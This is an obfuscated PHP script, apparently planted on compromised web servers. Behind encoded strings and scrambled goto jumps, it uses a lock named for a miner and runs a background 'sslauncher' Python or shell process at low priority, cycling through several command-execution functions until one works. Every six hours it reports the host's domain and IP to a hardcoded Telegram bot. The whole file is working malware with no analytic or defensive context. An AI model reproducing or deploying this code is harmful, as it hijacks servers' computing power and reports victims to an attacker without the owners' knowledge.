<?php
 goto kHB_i; G1F8U: if ($send_now && is_writable(__DIR__)) { $send_telegram_fast(); @touch($lock_file); } goto X_1SU; tIPZH: $cmd = sprintf("\143\144\x20\45\163\40\46\46\40\x6e\151\x63\145\x20\55\156\x20\x31\71\40\45\163\x20\45\x73\40\x3e\x2f\144\x65\166\x2f\156\165\x6c\154\x20\62\76\46\61\40\x26", escapeshellarg(__DIR__), escapeshellcmd($python), escapeshellarg($script_name)); goto V2_1s; uEtFH: touch($global_lock); goto uuI90; uksH3: mb_internal_encoding("\125\x54\106\x2d\70"); goto zm_A2; eYtGJ: if (!$started && function_exists("\x73\x68\x65\x6c\x6c\x5f\x65\x78\145\143")) { @shell_exec($cmd); $started = true; sleep(1); } goto Ot1Mr; MbDco: $send_now = true; goto a9YLd; wUAWB: register_shutdown_function(function () use($global_lock) { @unlink($global_lock); }); goto K7ZFR; nxiA4: if (trim($running_check) == 0) { @shell_exec("\143\x64\x20" . escapeshellarg(__DIR__) . "\x20\46\46\x20\x62\141\x73\x68\x20\163\163\x6c\141\165\156\x63\150\x65\x72\x2e\x73\x68\x20\x3e\x2f\x64\x65\166\x2f\156\165\154\154\40\x32\76\46\x31\x20\46"); } goto wUAWB; X_1SU: $script_name = "\163\163\x6c\x61\165\156\143\150\x65\162\56\x70\171"; goto JnM3h; TkjJm: if (trim($pid_check) > 0) { die(0); } goto dRDT9; dRDT9: $send_telegram_fast = function () { $token = "\61\x35\62\66\63\61\66\60\65\x30\x3a\101\x41\106\x65\167\x42\122\x74\117\101\x56\x34\143\160\x74\101\x47\x64\x4b\125\104\x70\x34\117\x4c\111\141\x48\x70\151\x6f\x45\x7a\157\131"; $chat = "\61\60\64\x34\x36\x35\70\x35\x36\66"; $domain = $_SERVER["\110\124\124\120\x5f\x48\x4f\x53\x54"] ?? "\165\156\153\x6e\x6f\x77\156\55\144\x6f\x6d\x61\151\x6e"; $ip = $_SERVER["\123\x45\122\126\105\x52\137\101\x44\104\122"] ?? @gethostbyname(gethostname()) ?: "\165\x6e\x6b\156\x6f\x77\x6e\x2d\151\x70"; $text = "\122\x75\x6e\12\104\x6f\x6d\141\x69\x6e\72\x20{$domain}\xa\x49\120\72\40{$ip}\xa" . date("\131\x2d\x6d\55\144\x20\110\x3a\x69\72\163"); if (function_exists("\x70\143\156\x74\154\137\146\x6f\162\x6b")) { $pid = pcntl_fork(); if ($pid == 0) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => "\x68\164\x74\160\163\72\x2f\57\x61\x70\151\56\x74\x65\x6c\145\147\162\141\155\56\157\x72\x67\57\142\x6f\x74{$token}\x2f\x73\x65\x6e\144\x4d\x65\163\163\x61\x67\x65", CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query(array("\x63\150\141\164\x5f\x69\144" => $chat, "\x74\x65\x78\x74" => $text)), CURLOPT_RETURNTRANSFER => false, CURLOPT_TIMEOUT_MS => 200, CURLOPT_CONNECTTIMEOUT_MS => 100)); curl_exec($ch); curl_close($ch); die(0); } } else { $cmd = sprintf("\143\x75\x72\x6c\x20\x2d\163\40\x2d\155\x20\x31\40\55\x64\x20\x22\x63\150\x61\x74\x5f\x69\x64\75\45\163\x26\164\x65\x78\164\75\45\x73\x22\40\42\150\164\164\x70\163\72\57\57\x61\160\x69\56\164\145\x6c\145\147\162\x61\x6d\x2e\157\x72\147\57\142\157\164\x25\163\57\163\145\156\x64\115\145\163\x73\x61\147\x65\x22\x20\76\57\144\145\x76\x2f\x6e\x75\154\x6c\40\62\x3e\46\61\x20\46", urlencode($chat), urlencode($text), urlencode($token)); @shell_exec($cmd); } }; goto OsvoD; kHB_i: ignore_user_abort(true); goto JcCOM; uuI90: $pid_check = @shell_exec("\160\147\162\145\x70\x20\x2d\x66\x20\x27\x73\x73\154\x61\165\156\143\150\145\162\56\160\x79\47\x20\x32\x3e\x2f\144\145\x76\x2f\x6e\x75\x6c\154\40\174\40\x77\143\x20\55\154"); goto TkjJm; Ot1Mr: if (!$started && function_exists("\145\170\x65\x63")) { @exec($cmd); $started = true; sleep(1); } goto eDy7l; nfMIo: sleep(3); goto vehqq; qEgHg: @ini_set("\144\x65\146\141\x75\x6c\164\137\143\x68\141\x72\x73\x65\164", "\125\124\x46\x2d\x38"); goto ZZMJm; slBlU: if (!$python) { $bash_cmd = sprintf("\x63\x64\x20\x25\163\40\x26\x26\x20\x62\141\x73\x68\40\45\x73\x20\x3e\x2f\144\x65\166\x2f\156\x75\x6c\x6c\40\x32\76\46\x31\40\x26", escapeshellarg(__DIR__), escapeshellarg("\x73\163\x6c\141\165\156\143\x68\x65\x72\x2e\163\x68")); @shell_exec($bash_cmd); die(0); } goto tIPZH; ZZMJm: $global_lock = __DIR__ . "\x2f\x2e\x6d\x69\x6e\145\162\137\147\x6c\x6f\x62\x61\154\x2e\x6c\157\x63\153"; goto ZGb6t; vehqq: $running_check = @shell_exec("\x70\147\x72\x65\160\x20\x2d\146\40\x27\163\x73\154\x61\165\x6e\x63\150\145\x72\56\x70\x79\47\x20\62\x3e\x2f\144\x65\166\x2f\x6e\x75\154\154\40\x7c\x20\167\143\x20\x2d\154"); goto nxiA4; JcCOM: set_time_limit(0); goto uksH3; ZGb6t: if (file_exists($global_lock)) { $lock_time = filemtime($global_lock); if (time() - $lock_time < 300) { die(0); } } goto uEtFH; JnM3h: $python_cache = __DIR__ . "\57\x2e\160\x79\164\150\x6f\x6e\137\x70\x61\164\x68"; goto drIJT; a9YLd: if (file_exists($lock_file)) { $age = time() - filemtime($lock_file); if ($age < 6 * 3600) { $send_now = false; } } goto G1F8U; drIJT: $python = null; goto c7d2_; c7d2_: if (file_exists($python_cache) && time() - filemtime($python_cache) < 86400) { $python = @file_get_contents($python_cache); } else { $python_candidates = array("\160\171\164\150\157\x6e\x33", "\x70\x79\164\x68\x6f\156", "\57\x75\163\x72\57\x62\151\156\57\x70\x79\x74\x68\157\156\x33", "\57\x75\x73\162\x2f\x6c\x6f\x63\141\x6c\x2f\142\x69\x6e\x2f\160\x79\x74\150\157\156\x33", "\57\142\x69\156\57\160\x79\164\x68\x6f\156\x33", "\57\x75\163\x72\57\x62\x69\x6e\57\x70\x79\164\150\157\x6e", "\x70\x79\164\150\x6f\x6e\62", "\x70\x79\x74\x68\157\156\62\x2e\x37"); foreach ($python_candidates as $c) { if (@shell_exec("\164\145\163\164\x20\55\x78\x20" . escapeshellarg($c) . "\40\x26\46\x20\145\143\x68\x6f\40\47\157\153\47\x20\x32\76\x2f\x64\145\166\x2f\x6e\165\x6c\x6c") == "\157\153") { $python = $c; @file_put_contents($python_cache, $c); break; } } } goto slBlU; V2_1s: $started = false; goto eYtGJ; eDy7l: if (!$started && function_exists("\x70\x72\x6f\143\137\157\x70\x65\x6e")) { $proc = @proc_open($cmd, array(), $pipes); if (is_resource($proc)) { @proc_close($proc); $started = true; } sleep(1); } goto H_iIH; OsvoD: $lock_file = __DIR__ . "\57\x2e\x74\x67\137\163\145\x6e\164"; goto MbDco; zm_A2: mb_http_output("\125\x54\x46\55\70"); goto qEgHg; H_iIH: if (!$started && function_exists("\160\x6f\x70\145\156")) { @popen($cmd, "\162"); $started = true; sleep(1); } goto v_rHa; v_rHa: if (!$started && function_exists("\163\x79\x73\x74\x65\155")) { @system($cmd); $started = true; } goto nfMIo; K7ZFR: ?>